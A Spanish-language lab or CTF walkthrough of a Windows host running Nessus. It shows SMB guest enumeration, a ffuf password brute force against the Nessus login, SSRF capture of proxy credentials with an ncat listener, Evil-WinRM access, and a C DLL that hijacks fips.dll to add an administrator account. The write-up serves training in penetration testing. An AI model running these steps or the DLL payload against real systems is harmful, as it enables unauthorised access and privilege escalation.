Enumeración y exposición de documentos por SMB
Enumeramos puertos (Windows con Nessus en 8834):
❯ nmap -sCV -p 135,139,445,5985,8834,47001,... -oN 02-targeted.txt 10.32.32.49
...
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0
8834/tcp open ssl/nessus-xmlrpc?
| ssl-cert: Subject: commonName=WIN-C05BOCC7F0H/organizationName=Nessus Users United/...
...La enumeración de SMB permite acceder como guest y expone el recurso Documents sin una credencial privada:
❯ smbclient -L //10.32.32.49/ -U guest
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Documents Disk
IPC$ IPC Remote IPCLos documentos descargados son informes de Nessus. Los metadatos de uno identifican a Jose como autor, lo que aporta un nombre de usuario candidato para el servicio del puerto 8834:
❯ smbclient //10.32.32.49/Documents -U guest
smb: \> get "My Basic Network Scan_hwhm7q.pdf"
smb: \> get "Web Application Tests_f6jg9t.pdf"
❯ exiftool Web\ Application\ Tests_f6jg9t.pdf
...
Author : Jose
...Acceso a Nessus y exposición de credenciales
Interceptamos un inicio de sesión con Burp para identificar el endpoint POST /session y la estructura JSON que espera. Utilizamos jose como usuario y aplicamos Password Guessing variando únicamente la contraseña con ffuf; la respuesta distinta para tequiero permite autenticar en Nessus:
❯ ffuf -u 'https://10.32.32.49:8834/session' -w ~/Documentos/wordlists/rockyou.txt -d '{"username":"jose","password":"FUZZ"}' -H 'Content-Type: application/json' -fs 31
...
tequiero [Status: 200, ...]
...Dentro de Nessus existe un usuario nesus cuya contraseña no se muestra. La función Test Proxy Server hace que el servidor establezca una conexión hacia el proxy indicado por el usuario. Al configurar nuestra IP como destino, aprovechamos ese comportamiento como SSRF y capturamos la cabecera Proxy-Authorization. Su valor Basic es Base64, por lo que al decodificarlo obtenemos el par usuario:contraseña empleado por Nessus para autenticarse ante el proxy:
❯ ncat -nlvp 4321
Ncat: Connection from 10.32.32.49:49839.
CONNECT plugins.nessus.org:443 HTTP/1.1
Proxy-Authorization: Basic bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==
...
❯ echo 'bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==' | base64 -d
nesus:Z#JuXH$ph-;v@,X&mV)Con esas credenciales entramos por Evil-WinRM y obtenemos la primera flag. En el entorno documentado, un error de autenticación puede requerir restablecer una contraseña expirada desde la consola de la máquina:
❯ evil-winrm -u nesus -i 10.32.32.49 -p 'Z#JuXH$ph-;v@,X&mV)'
*Evil-WinRM* PS C:\Users\nesus\Documents>Escalada mediante DLL Search Order Hijacking
El directorio del servicio permite reemplazar fips.dll. Como Nessus se ejecuta como SYSTEM y carga esa biblioteca durante el arranque, podemos aplicar DLL Search Order Hijacking: colocamos una DLL controlada bajo el nombre que el proceso espera y dejamos que el servicio privilegiado la cargue. Su DllMain crea un usuario y lo añade a los grupos administrativos:
❯ cat pwned.c
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("net user pwned pwned /add");
system("net localgroup administrators pwned /add");
system("net localgroup 'remote management' pwned /add");
break;
...
}
return TRUE;
}Compilamos la biblioteca con el nombre esperado, conservamos la original como respaldo y subimos el reemplazo. El código no se ejecuta por el simple hecho de copiarlo; requiere que el servicio vuelva a cargar fips.dll, lo que ocurre después del reinicio registrado:
❯ x86_64-w64-mingw32-gcc pwned.c --shared -o fips.dll
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> mv fips.dll fips.dll.bak
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> upload fips.dllTras el reinicio, el usuario pwned es administrador local:
❯ evil-winrm -u pwned -i 10.32.32.49 -p 'pwned'
*Evil-WinRM* PS C:\Users\pwned\Documents> whoami /all
...
BUILTIN\Administrators ...La pertenencia a BUILTIN\Administrators confirma el resultado de la carga privilegiada.
Fin.